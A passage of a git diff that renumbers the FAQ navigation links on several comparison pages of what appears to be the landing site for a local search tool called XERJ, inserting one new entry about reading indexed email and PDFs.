href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-meilisearch.html b/landing/compare/xerj-vs-meilisearch.htmlindex f1bbf7bfb..b068009d2 100644--- a/landing/compare/xerj-vs-meilisearch.html+++ b/landing/compare/xerj-vs-meilisearch.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-obsidian-omnisearch.html b/landing/compare/xerj-vs-obsidian-omnisearch.htmlindex 97db280f5..25b83dc26 100644--- a/landing/compare/xerj-vs-obsidian-omnisearch.html+++ b/landing/compare/xerj-vs-obsidian-omnisearch.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-pagefind.html b/landing/compare/xerj-vs-pagefind.htmlindex ef5d19c8b..8e8da6756 100644--- a/landing/compare/xerj-vs-pagefind.html+++ b/landing/compare/xerj-vs-pagefind.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a 